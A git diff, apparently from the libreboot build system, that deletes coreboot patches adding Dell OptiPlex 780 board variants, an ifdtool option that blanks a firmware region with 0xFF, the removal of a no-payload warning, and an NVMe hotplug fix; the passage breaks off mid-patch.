.gpio59 = GPIO_MODE_NATIVE, -+ .gpio60 = GPIO_MODE_GPIO, -+ .gpio61 = GPIO_MODE_NATIVE, -+ .gpio62 = GPIO_MODE_NATIVE, -+ .gpio63 = GPIO_MODE_NATIVE, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_direction = { -+ .gpio32 = GPIO_DIR_INPUT, -+ .gpio33 = GPIO_DIR_INPUT, -+ .gpio34 = GPIO_DIR_INPUT, -+ .gpio35 = GPIO_DIR_OUTPUT, -+ .gpio36 = GPIO_DIR_INPUT, -+ .gpio37 = GPIO_DIR_INPUT, -+ .gpio38 = GPIO_DIR_INPUT, -+ .gpio39 = GPIO_DIR_INPUT, -+ .gpio48 = GPIO_DIR_INPUT, -+ .gpio49 = GPIO_DIR_OUTPUT, -+ .gpio54 = GPIO_DIR_INPUT, -+ .gpio56 = GPIO_DIR_OUTPUT, -+ .gpio57 = GPIO_DIR_INPUT, -+ .gpio60 = GPIO_DIR_OUTPUT, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_level = { -+ .gpio35 = GPIO_LEVEL_LOW, -+ .gpio49 = GPIO_LEVEL_HIGH, -+ .gpio56 = GPIO_LEVEL_HIGH, -+ .gpio60 = GPIO_LEVEL_LOW, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_mode = { -+ .gpio64 = GPIO_MODE_NATIVE, -+ .gpio65 = GPIO_MODE_NATIVE, -+ .gpio66 = GPIO_MODE_NATIVE, -+ .gpio67 = GPIO_MODE_NATIVE, -+ .gpio68 = GPIO_MODE_NATIVE, -+ .gpio69 = GPIO_MODE_NATIVE, -+ .gpio70 = GPIO_MODE_NATIVE, -+ .gpio71 = GPIO_MODE_NATIVE, -+ .gpio72 = GPIO_MODE_GPIO, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_direction = { -+ .gpio72 = GPIO_DIR_INPUT, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_level = { -+}; -+ -+const struct pch_gpio_map mainboard_gpio_map = { -+ .set1 = { -+ .mode = &pch_gpio_set1_mode, -+ .direction = &pch_gpio_set1_direction, -+ .level = &pch_gpio_set1_level, -+ .blink = &pch_gpio_set1_blink, -+ .invert = &pch_gpio_set1_invert, -+ }, -+ .set2 = { -+ .mode = &pch_gpio_set2_mode, -+ .direction = &pch_gpio_set2_direction, -+ .level = &pch_gpio_set2_level, -+ }, -+ .set3 = { -+ .mode = &pch_gpio_set3_mode, -+ .direction = &pch_gpio_set3_direction, -+ .level = &pch_gpio_set3_level, -+ }, -+}; -diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c b/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c -new file mode 100644 -index 0000000000..4158bcf899 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c -@@ -0,0 +1,26 @@ -+/* SPDX-License-Identifier: GPL-2.0-or-later */ -+ -+#include -+ -+const u32 cim_verb_data[] = { -+ /* coreboot specific header */ -+ 0x11d4194a, /* Analog Devices AD1984A */ -+ 0xbfd40000, /* Subsystem ID */ -+ 10, /* Number of entries */ -+ -+ /* Pin Widget Verb Table */ -+ AZALIA_PIN_CFG(0, 0x11, 0x032140f0), -+ AZALIA_PIN_CFG(0, 0x12, 0x21214010), -+ AZALIA_PIN_CFG(0, 0x13, 0x901701f0), -+ AZALIA_PIN_CFG(0, 0x14, 0x03a190f0), -+ AZALIA_PIN_CFG(0, 0x15, 0xb7a70121), -+ AZALIA_PIN_CFG(0, 0x16, 0x9933012e), -+ AZALIA_PIN_CFG(0, 0x17, 0x97a601f0), -+ AZALIA_PIN_CFG(0, 0x1a, 0x90f301f0), -+ AZALIA_PIN_CFG(0, 0x1b, 0x014510f0), -+ AZALIA_PIN_CFG(0, 0x1c, 0x21a19020), -+}; -+ -+const u32 pc_beep_verbs[0] = {}; -+ -+AZALIA_ARRAY_SIZES; -diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb b/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb -new file mode 100644 -index 0000000000..555b1c1f5c ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb -@@ -0,0 +1,10 @@ -+## SPDX-License-Identifier: GPL-2.0-or-later -+ -+chip northbridge/intel/x4x -+ device domain 0 on -+ chip southbridge/intel/i82801jx -+ device pci 1c.0 on end # PCIe 1 -+ device pci 1c.1 on end # PCIe 2 -+ end -+ end -+end --- -2.39.5 - diff --git a/patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch b/patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch deleted file mode 100644 index d5896fdc6..000000000 --- a/patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch +++ /dev/null @@ -1,205 +0,0 @@ -From 27b2f2bc24e5e860b87119c963e534fb0d3e55f2 Mon Sep 17 00:00:00 2001 -From: Leah Rowe -Date: Sun, 19 Feb 2023 18:21:43 +0000 -Subject: [PATCH 05/11] util/ifdtool: add --nuke flag (all 0xFF on region) - -When this option is used, the region's contents are overwritten -with all ones (0xFF). - -Example: - -./ifdtool --nuke gbe coreboot.rom -./ifdtool --nuke bios coreboot.com -./ifdtool --nuke me coreboot.com - -Rebased since the last revision update in lbmk. - -Signed-off-by: Leah Rowe ---- - util/ifdtool/ifdtool.c | 114 ++++++++++++++++++++++++++++++----------- - 1 file changed, 83 insertions(+), 31 deletions(-) - -diff --git a/util/ifdtool/ifdtool.c b/util/ifdtool/ifdtool.c -index 94105efe52..0706496af2 100644 ---- a/util/ifdtool/ifdtool.c -+++ b/util/ifdtool/ifdtool.c -@@ -2230,6 +2230,7 @@ static void print_usage(const char *name) - " tgl - Tiger Lake\n" - " wbg - Wellsburg\n" - " -S | --setpchstrap Write a PCH strap\n" -+ " -N | --nuke Overwrite the specified region with 0xFF (all ones)\n" - " -V | --newvalue The new value to write into PCH strap specified by -S\n" - " -v | --version: print the version\n" - " -h | --help: print this help\n\n" -@@ -2238,6 +2239,60 @@ static void print_usage(const char *name) - "\n"); - } - -+static int -+get_region_type_string(const char *region_type_string) -+{ -+ if (!strcasecmp("Descriptor", region_type_string)) -+ return 0; -+ else if (!strcasecmp("BIOS", region_type_string)) -+ return 1; -+ else if (!strcasecmp("ME", region_type_string)) -+ return 2; -+ else if (!strcasecmp("GbE", region_type_string)) -+ return 3; -+ else if (!strcasecmp("Platform Data", region_type_string)) -+ return 4; -+ else if (!strcasecmp("Device Exp1", region_type_string)) -+ return 5; -+ else if (!strcasecmp("Secondary BIOS", region_type_string)) -+ return 6; -+ else if (!strcasecmp("Reserved", region_type_string)) -+ return 7; -+ else if (!strcasecmp("EC", region_type_string)) -+ return 8; -+ else if (!strcasecmp("Device Exp2", region_type_string)) -+ return 9; -+ else if (!strcasecmp("IE", region_type_string)) -+ return 10; -+ else if (!strcasecmp("10GbE_0", region_type_string)) -+ return 11; -+ else if (!strcasecmp("10GbE_1", region_type_string)) -+ return 12; -+ else if (!strcasecmp("PTT", region_type_string)) -+ return 15; -+ return -1; -+} -+ -+static void -+nuke(const char *filename, char *image, int size, int region_type) -+{ -+ int i; -+ struct region region; -+ const struct frba *frba = find_frba(image, size); -+ if (!frba) -+ exit(EXIT_FAILURE); -+ -+ region = get_region(frba, region_type); -+ if (region.size > 0) { -+ for (i = region.base; i <= region.limit; i++) { -+ if ((i + 1) > (size)) -+ break; -+ image[i] = 0xFF; -+ } -+ write_image(filename, image, size); -+ } -+} -+ - int main(int argc, char *argv[]) - { - int opt, option_index = 0; -@@ -2245,6 +2300,7 @@ int main(int argc, char *argv[]) - int mode_em100 = 0, mode_locked = 0, mode_unlocked = 0, mode_validate = 0; - int mode_layout = 0, mode_newlayout = 0, mode_density = 0, mode_setstrap = 0; - int mode_read = 0, mode_altmedisable = 0, altmedisable = 0, mode_fmap_template = 0; -+ int mode_nuke = 0; - int mode_gpr0_disable = 0, mode_gpr0_enable = 0, mode_gpr0_status = 0; - char *region_type_string = NULL, *region_fname = NULL, *layout_fname = NULL; - char *new_filename = NULL; -@@ -2279,6 +2335,7 @@ int main(int argc, char *argv[]) - {"validate", 0, NULL, 't'}, - {"setpchstrap", 1, NULL, 'S'}, - {"newvalue", 1, NULL, 'V'}, -+ {"nuke", 1, NULL, 'N'}, - {0, 0, 0, 0} - }; - -@@ -2328,35 +2385,8 @@ int main(int argc, char *argv[]) - region_fname++; - // Descriptor, BIOS, ME, GbE, Platform - // valid type? -- if (!strcasecmp("Descriptor", region_type_string)) -- region_type = 0; -- else if (!strcasecmp("BIOS", region_type_string)) -- region_type = 1; -- else if (!strcasecmp("ME", region_type_string)) -- region_type = 2; -- else if (!strcasecmp("GbE", region_type_string)) -- region_type = 3; -- else if (!strcasecmp("Platform Data", region_type_string)) -- region_type = 4; -- else if (!strcasecmp("Device Exp1", region_type_string)) -- region_type = 5; -- else if (!strcasecmp("Secondary BIOS", region_type_string)) -- region_type = 6; -- else if (!strcasecmp("Reserved", region_type_string)) -- region_type = 7; -- else if (!strcasecmp("EC", region_type_string)) -- region_type = 8; -- else if (!strcasecmp("Device Exp2", region_type_string)) -- region_type = 9; -- else if (!strcasecmp("IE", region_type_string)) -- region_type = 10; -- else if (!strcasecmp("10GbE_0", region_type_string)) -- region_type = 11; -- else if (!strcasecmp("10GbE_1", region_type_string)) -- region_type = 12; -- else if (!strcasecmp("PTT", region_type_string)) -- region_type = 15; -- if (region_type == -1) { -+ if ((region_type = -+ get_region_type_string(region_type_string)) == -1) { - fprintf(stderr, "No such region type: '%s'\n\n", - region_type_string); - fprintf(stderr, "run '%s -h' for usage\n", argv[0]); -@@ -2533,6 +2563,22 @@ int main(int argc, char *argv[]) - case 't': - mode_validate = 1; - break; -+ case 'N': -+ region_type_string = strdup(optarg); -+ if (!region_type_string) { -+ fprintf(stderr, "No region specified\n"); -+ print_usage(argv[0]); -+ exit(EXIT_FAILURE); -+ } -+ if ((region_type = -+ get_region_type_string(region_type_string)) == -1) { -+ fprintf(stderr, "No such region type: '%s'\n\n", -+ region_type_string); -+ print_usage(argv[0]); -+ exit(EXIT_FAILURE); -+ } -+ mode_nuke = 1; -+ break; - case 'v': - print_version(); - exit(EXIT_SUCCESS); -@@ -2552,7 +2598,8 @@ int main(int argc, char *argv[]) - if ((mode_dump + mode_layout + mode_fmap_template + mode_extract + mode_inject + - mode_setstrap + mode_newlayout + (mode_spifreq | mode_em100 | - mode_unlocked | mode_locked) + mode_altmedisable + mode_validate + -- (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status) > 1) { -+ (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status + -+ mode_nuke) > 1) { - fprintf(stderr, "You may not specify more than one mode.\n\n"); - fprintf(stderr, "run '%s -h' for usage\n", argv[0]); - exit(EXIT_FAILURE); -@@ -2561,7 +2608,8 @@ int main(int argc, char *argv[]) - if ((mode_dump + mode_layout + mode_fmap_template + mode_extract + mode_inject + - mode_setstrap + mode_newlayout + mode_spifreq + mode_em100 + - mode_locked + mode_unlocked + mode_density + mode_altmedisable + -- mode_validate + (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status) == 0) { -+ mode_validate + (mode_gpr0_disable | mode_gpr0_enable) + mode_gpr0_status + -+ mode_nuke) == 0) { - fprintf(stderr, "You need to specify a mode.\n\n"); - fprintf(stderr, "run '%s -h' for usage\n", argv[0]); - exit(EXIT_FAILURE); -@@ -2674,6 +2722,10 @@ int main(int argc, char *argv[]) - write_image(new_filename, image, size); - } - -+ if (mode_nuke) { -+ nuke(new_filename, image, size, region_type); -+ } -+ - if (mode_altmedisable) { - struct fpsba *fpsba = find_fpsba(image, size); - struct fmsba *fmsba = find_fmsba(image, size); --- -2.39.5 - diff --git a/patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch b/patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch deleted file mode 100644 index 3ff127244..000000000 --- a/patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch +++ /dev/null @@ -1,39 +0,0 @@ -From 8230acfb9e1f692202b306ffb10fe89f783ab4e8 Mon Sep 17 00:00:00 2001 -From: Nicholas Chin -Date: Fri, 12 May 2023 19:55:15 -0600 -Subject: [PATCH 06/11] Remove warning for coreboot images built without a - payload - -I added this in upstream to prevent people from accidentally flashing -roms without a payload resulting in a no boot situation, but in -libreboot lbmk handles the payload and thus this warning always comes -up. This has caused confusion and concern so just patch it out. ---- - payloads/Makefile.mk | 13 +------------ - 1 file changed, 1 insertion(+), 12 deletions(-) - -diff --git a/payloads/Makefile.mk b/payloads/Makefile.mk -index 5f988dac1b..516133880f 100644 ---- a/payloads/Makefile.mk -+++ b/payloads/Makefile.mk -@@ -50,16 +50,5 @@ distclean-payloads: - print-repo-info-payloads: - -$(foreach payload, $(PAYLOADS_LIST), $(MAKE) -C $(payload) print-repo-info 2>/dev/null; ) - --ifeq ($(CONFIG_PAYLOAD_NONE),y) --show_notices:: warn_no_payload --endif -- --warn_no_payload: -- printf "\n\t** WARNING **\n" -- printf "coreboot has been built without a payload. Writing\n" -- printf "a coreboot image without a payload to your board's\n" -- printf "flash chip will result in a non-booting system. You\n" -- printf "can use cbfstool to add a payload to the image.\n\n" -- - .PHONY: force-payload coreinfo nvramcui --.PHONY: clean-payloads distclean-payloads print-repo-info-payloads warn_no_payload -+.PHONY: clean-payloads distclean-payloads print-repo-info-payloads --- -2.39.5 - diff --git a/patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch b/patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch deleted file mode 100644 index 637b72664..000000000 --- a/patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch +++ /dev/null @@ -1,326 +0,0 @@ -From 41b93b8786ba14830648cd166f86b6317d655359 Mon Sep 17 00:00:00 2001 -From: Nicholas Chin -Date: Wed, 30 Oct 2024 20:55:25 -0600 -Subject: [PATCH 07/11] mb/dell/optiplex_780: Add USFF variant - -Change-Id: I3aa21c743749f4a11a2501f4c121316bd2f1a103 -Signed-off-by: Nicholas Chin ---- - src/mainboard/dell/optiplex_780/Kconfig | 5 + - src/mainboard/dell/optiplex_780/Kconfig.name | 3 + - .../optiplex_780/variants/780_usff/data.vbt | Bin 0 -> 1917 bytes - .../variants/780_usff/early_init.c | 9 + - .../optiplex_780/variants/780_usff/gpio.c | 166 ++++++++++++++++++ - .../optiplex_780/variants/780_usff/hda_verb.c | 26 +++ - .../variants/780_usff/overridetree.cb | 10 ++ - 7 files changed, 219 insertions(+) - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/early_init.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb - -diff --git a/src/mainboard/dell/optiplex_780/Kconfig b/src/mainboard/dell/optiplex_780/Kconfig -index 2d06c75c9a..fc649e35d5 100644 ---- a/src/mainboard/dell/optiplex_780/Kconfig -+++ b/src/mainboard/dell/optiplex_780/Kconfig -@@ -20,6 +20,9 @@ config BOARD_DELL_OPTIPLEX_780_COMMON - config BOARD_DELL_OPTIPLEX_780_MT - select BOARD_DELL_OPTIPLEX_780_COMMON - -+config BOARD_DELL_OPTIPLEX_780_USFF -+ select BOARD_DELL_OPTIPLEX_780_COMMON -+ - if BOARD_DELL_OPTIPLEX_780_COMMON - - config VGA_BIOS_ID -@@ -30,11 +33,13 @@ config MAINBOARD_DIR - - config MAINBOARD_PART_NUMBER - default "OptiPlex 780 MT" if BOARD_DELL_OPTIPLEX_780_MT -+ default "OptiPlex 780 USFF" if BOARD_DELL_OPTIPLEX_780_USFF - - config OVERRIDE_DEVICETREE - default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" - - config VARIANT_DIR - default "780_mt" if BOARD_DELL_OPTIPLEX_780_MT -+ default "780_usff" if BOARD_DELL_OPTIPLEX_780_USFF - - endif # BOARD_DELL_OPTIPLEX_780_COMMON -diff --git a/src/mainboard/dell/optiplex_780/Kconfig.name b/src/mainboard/dell/optiplex_780/Kconfig.name -index db7f2e8fe3..bc84c82a79 100644 ---- a/src/mainboard/dell/optiplex_780/Kconfig.name -+++ b/src/mainboard/dell/optiplex_780/Kconfig.name -@@ -2,3 +2,6 @@ - - config BOARD_DELL_OPTIPLEX_780_MT - bool "OptiPlex 780 MT" -+ -+config BOARD_DELL_OPTIPLEX_780_USFF -+ bool "OptiPlex 780 USFF" -diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt b/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt -new file mode 100644 -index 0000000000000000000000000000000000000000..dbd764f285ed18f7ee9c54bc777560138bd9b5f7 -GIT binary patch -literal 1917 -zcmd6nO>7%Q6vzLwGv3{}j$^l`v7@w1q*9sEq+2(b3K>`@c5#TSx@iP+W+B10OwbsGtX=N(gc4jSGjKDkP+yIUo^nsel8$^ny^9H?td8Ra=EiCEn=G -z@6DV4?!2AdojnUv^Rirgvs$heXUkGs9S+{Jc2WPhP0buTak^BTFP@&N9-E$(UtuSX -zS{r`=b+EX|Ig`2a*^5oDdG>8jE-1BBxs`*jgrf_sj_fP;%L|PwURRcCFBMCroNRQv -zmp$2TUhc}qJMB(u#jDG@x6(N85thC4%Z=8hiN}lj&zb2~``u3C;?lCrPQOTnInFqB -zhvdwqWv?lxTb=fVEH;~RPHDPw&g*&|s$pU7!7x2mLBtAF!g>K`zPnkx!DpPHuk6{_zc*0qi7)Aet$T -z1ks@8hWS#+6cI5)j1oD86{5PX8Zu2(^OC6M`xo)V)Ow=U6P12c -z=U0uNC9T9v{)-|#h(mSX*hSA8)ZeocL7l4J&!{RSO{6~oTtyn535j!RQh#GA*wTF8 -zvasRbO~d!?*FbM3K`W?lHx=v*(jiARIhWyh4^io|;n?@1H>uqJy>0sjV-Dt)_=%bE -zgNO3D@uE5m+7aqi?Y8b+inye%Z=HUmgBtaZ3Lc%OLt+bo+)5BjVwT<{mxT`nde$vb -zV99s{>`r76L#Hr6XW6r|>HT47I`**Q#Vu0QW!^VP-9S{xXzpq_zS#9k-;aXz?b+S!Ne$Kkk6dq&Hj-x+kx1W-4#E&beDT*S)=&NoSE?<-w!G@~aW()0ZN4O&=Q+nZa)p%Vd$k-_$a= -T#w3FFBiyj -+ -+void mb_get_spd_map(u8 spd_map[4]) -+{ -+ spd_map[0] = 0x50; -+ spd_map[2] = 0x52; -+} -diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c b/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c -new file mode 100644 -index 0000000000..389f4077d7 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c -@@ -0,0 +1,166 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#include -+ -+static const struct pch_gpio_set1 pch_gpio_set1_mode = { -+ .gpio0 = GPIO_MODE_NATIVE, -+ .gpio1 = GPIO_MODE_NATIVE, -+ .gpio2 = GPIO_MODE_GPIO, -+ .gpio3 = GPIO_MODE_GPIO, -+ .gpio4 = GPIO_MODE_GPIO, -+ .gpio5 = GPIO_MODE_GPIO, -+ .gpio6 = GPIO_MODE_GPIO, -+ .gpio7 = GPIO_MODE_NATIVE, -+ .gpio8 = GPIO_MODE_NATIVE, -+ .gpio9 = GPIO_MODE_GPIO, -+ .gpio10 = GPIO_MODE_GPIO, -+ .gpio11 = GPIO_MODE_NATIVE, -+ .gpio12 = GPIO_MODE_NATIVE, -+ .gpio13 = GPIO_MODE_GPIO, -+ .gpio14 = GPIO_MODE_GPIO, -+ .gpio15 = GPIO_MODE_NATIVE, -+ .gpio16 = GPIO_MODE_GPIO, -+ .gpio17 = GPIO_MODE_NATIVE, -+ .gpio18 = GPIO_MODE_GPIO, -+ .gpio19 = GPIO_MODE_GPIO, -+ .gpio20 = GPIO_MODE_GPIO, -+ .gpio21 = GPIO_MODE_GPIO, -+ .gpio22 = GPIO_MODE_GPIO, -+ .gpio23 = GPIO_MODE_NATIVE, -+ .gpio24 = GPIO_MODE_GPIO, -+ .gpio25 = GPIO_MODE_NATIVE, -+ .gpio26 = GPIO_MODE_NATIVE, -+ .gpio27 = GPIO_MODE_GPIO, -+ .gpio28 = GPIO_MODE_GPIO, -+ .gpio29 = GPIO_MODE_GPIO, -+ .gpio30 = GPIO_MODE_GPIO, -+ .gpio31 = GPIO_MODE_GPIO, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_direction = { -+ .gpio2 = GPIO_DIR_INPUT, -+ .gpio3 = GPIO_DIR_INPUT, -+ .gpio4 = GPIO_DIR_INPUT, -+ .gpio5 = GPIO_DIR_INPUT, -+ .gpio6 = GPIO_DIR_INPUT, -+ .gpio9 = GPIO_DIR_OUTPUT, -+ .gpio10 = GPIO_DIR_INPUT, -+ .gpio13 = GPIO_DIR_INPUT, -+ .gpio14 = GPIO_DIR_INPUT, -+ .gpio16 = GPIO_DIR_INPUT, -+ .gpio18 = GPIO_DIR_OUTPUT, -+ .gpio19 = GPIO_DIR_INPUT, -+ .gpio20 = GPIO_DIR_OUTPUT, -+ .gpio21 = GPIO_DIR_INPUT, -+ .gpio22 = GPIO_DIR_INPUT, -+ .gpio24 = GPIO_DIR_INPUT, -+ .gpio27 = GPIO_DIR_INPUT, -+ .gpio28 = GPIO_DIR_OUTPUT, -+ .gpio29 = GPIO_DIR_INPUT, -+ .gpio30 = GPIO_DIR_INPUT, -+ .gpio31 = GPIO_DIR_INPUT, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_level = { -+ .gpio9 = GPIO_LEVEL_HIGH, -+ .gpio18 = GPIO_LEVEL_HIGH, -+ .gpio20 = GPIO_LEVEL_HIGH, -+ .gpio28 = GPIO_LEVEL_HIGH, -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_blink = { -+}; -+ -+static const struct pch_gpio_set1 pch_gpio_set1_invert = { -+ .gpio13 = GPIO_INVERT, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_mode = { -+ .gpio32 = GPIO_MODE_GPIO, -+ .gpio33 = GPIO_MODE_GPIO, -+ .gpio34 = GPIO_MODE_GPIO, -+ .gpio35 = GPIO_MODE_GPIO, -+ .gpio36 = GPIO_MODE_GPIO, -+ .gpio37 = GPIO_MODE_GPIO, -+ .gpio38 = GPIO_MODE_GPIO, -+ .gpio39 = GPIO_MODE_GPIO, -+ .gpio40 = GPIO_MODE_NATIVE, -+ .gpio41 = GPIO_MODE_NATIVE, -+ .gpio42 = GPIO_MODE_NATIVE, -+ .gpio43 = GPIO_MODE_NATIVE, -+ .gpio44 = GPIO_MODE_NATIVE, -+ .gpio45 = GPIO_MODE_NATIVE, -+ .gpio46 = GPIO_MODE_NATIVE, -+ .gpio47 = GPIO_MODE_NATIVE, -+ .gpio48 = GPIO_MODE_GPIO, -+ .gpio49 = GPIO_MODE_GPIO, -+ .gpio50 = GPIO_MODE_NATIVE, -+ .gpio51 = GPIO_MODE_NATIVE, -+ .gpio52 = GPIO_MODE_NATIVE, -+ .gpio53 = GPIO_MODE_NATIVE, -+ .gpio54 = GPIO_MODE_GPIO, -+ .gpio55 = GPIO_MODE_NATIVE, -+ .gpio56 = GPIO_MODE_GPIO, -+ .gpio57 = GPIO_MODE_GPIO, -+ .gpio58 = GPIO_MODE_NATIVE, -+ .gpio59 = GPIO_MODE_NATIVE, -+ .gpio60 = GPIO_MODE_GPIO, -+ .gpio61 = GPIO_MODE_NATIVE, -+ .gpio62 = GPIO_MODE_NATIVE, -+ .gpio63 = GPIO_MODE_NATIVE, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_direction = { -+ .gpio32 = GPIO_DIR_INPUT, -+ .gpio33 = GPIO_DIR_INPUT, -+ .gpio34 = GPIO_DIR_INPUT, -+ .gpio35 = GPIO_DIR_OUTPUT, -+ .gpio36 = GPIO_DIR_INPUT, -+ .gpio37 = GPIO_DIR_INPUT, -+ .gpio38 = GPIO_DIR_INPUT, -+ .gpio39 = GPIO_DIR_INPUT, -+ .gpio48 = GPIO_DIR_INPUT, -+ .gpio49 = GPIO_DIR_OUTPUT, -+ .gpio54 = GPIO_DIR_INPUT, -+ .gpio56 = GPIO_DIR_OUTPUT, -+ .gpio57 = GPIO_DIR_INPUT, -+ .gpio60 = GPIO_DIR_OUTPUT, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_level = { -+ .gpio35 = GPIO_LEVEL_LOW, -+ .gpio49 = GPIO_LEVEL_HIGH, -+ .gpio56 = GPIO_LEVEL_HIGH, -+ .gpio60 = GPIO_LEVEL_LOW, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_mode = { -+ .gpio72 = GPIO_MODE_GPIO, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_direction = { -+ .gpio72 = GPIO_DIR_INPUT, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_level = { -+}; -+ -+const struct pch_gpio_map mainboard_gpio_map = { -+ .set1 = { -+ .mode = &pch_gpio_set1_mode, -+ .direction = &pch_gpio_set1_direction, -+ .level = &pch_gpio_set1_level, -+ .blink = &pch_gpio_set1_blink, -+ .invert = &pch_gpio_set1_invert, -+ }, -+ .set2 = { -+ .mode = &pch_gpio_set2_mode, -+ .direction = &pch_gpio_set2_direction, -+ .level = &pch_gpio_set2_level, -+ }, -+ .set3 = { -+ .mode = &pch_gpio_set3_mode, -+ .direction = &pch_gpio_set3_direction, -+ .level = &pch_gpio_set3_level, -+ }, -+}; -diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c b/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c -new file mode 100644 -index 0000000000..c94e06b156 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c -@@ -0,0 +1,26 @@ -+/* SPDX-License-Identifier: GPL-2.0-or-later */ -+ -+#include -+ -+const u32 cim_verb_data[] = { -+ /* coreboot specific header */ -+ 0x11d4194a, /* Analog Devices AD1984A */ -+ 0x10280420, /* Subsystem ID */ -+ 10, /* Number of entries */ -+ -+ /* Pin Widget Verb Table */ -+ AZALIA_PIN_CFG(0, 0x11, 0x02214040), -+ AZALIA_PIN_CFG(0, 0x12, 0x01014010), -+ AZALIA_PIN_CFG(0, 0x13, 0x991301f0), -+ AZALIA_PIN_CFG(0, 0x14, 0x02a19020), -+ AZALIA_PIN_CFG(0, 0x15, 0x01813030), -+ AZALIA_PIN_CFG(0, 0x16, 0x413301f0), -+ AZALIA_PIN_CFG(0, 0x17, 0x41a601f0), -+ AZALIA_PIN_CFG(0, 0x1a, 0x41f301f0), -+ AZALIA_PIN_CFG(0, 0x1b, 0x414501f0), -+ AZALIA_PIN_CFG(0, 0x1c, 0x413301f0), -+}; -+ -+const u32 pc_beep_verbs[0] = {}; -+ -+AZALIA_ARRAY_SIZES; -diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb b/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb -new file mode 100644 -index 0000000000..555b1c1f5c ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb -@@ -0,0 +1,10 @@ -+## SPDX-License-Identifier: GPL-2.0-or-later -+ -+chip northbridge/intel/x4x -+ device domain 0 on -+ chip southbridge/intel/i82801jx -+ device pci 1c.0 on end # PCIe 1 -+ device pci 1c.1 on end # PCIe 2 -+ end -+ end -+end --- -2.39.5 - diff --git a/patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch b/patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch deleted file mode 100644 index daeb0fa19..000000000 --- a/patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch +++ /dev/null @@ -1,49 +0,0 @@ -From c8192c52b2bfa93aeb6c6639476ca217e33c4313 Mon Sep 17 00:00:00 2001 -From: Leah Rowe -Date: Wed, 11 Dec 2024 01:06:01 +0000 -Subject: [PATCH 08/11] dell/3050micro: disable nvme hotplug - -in my testing, when running my 3050micro for a few days, -the nvme would sometimes randomly rename. - -e.g. nvme0n1 renamed to nvme0n2 - -this might cause crashes in linux, if booting only from the -nvme. in my case, i was booting from mdraid (sata+nvme) and -every few days, the nvme would rename at least once, causing -my RAID to become unsynced. since i'm using RAID1, this was -OK and I could simply re-sync the array, but this is quite -precarious indeed. if you're using raid0, that will potentially -corrupt your RAID array indefinitely. - -this same issue manifested on the T480/T480 thinkpads, and -S3 resume would break because of that, when booting from nvme, -because the nvme would be "unplugged" and appear to linux as a -new device (the one that you booted from). - -the fix there was to disable hotplugging on that pci-e slot -for the nvme, so apply the same fix here for 3050 micro - -Signed-off-by: Leah Rowe ---- - src/mainboard/dell/optiplex_3050/devicetree.cb | 4 +++- - 1 file changed, 3 insertions(+), 1 deletion(-) - -diff --git a/src/mainboard/dell/optiplex_3050/devicetree.cb b/src/mainboard/dell/optiplex_3050/devicetree.cb -index 039709aa4a..0678ed1765 100644 ---- a/src/mainboard/dell/optiplex_3050/devicetree.cb -+++ b/src/mainboard/dell/optiplex_3050/devicetree.cb -@@ -45,7 +45,9 @@ chip soc/intel/skylake - register "PcieRpAdvancedErrorReporting[20]" = "1" - register "PcieRpLtrEnable[20]" = "1" - register "PcieRpClkSrcNumber[20]" = "3" -- register 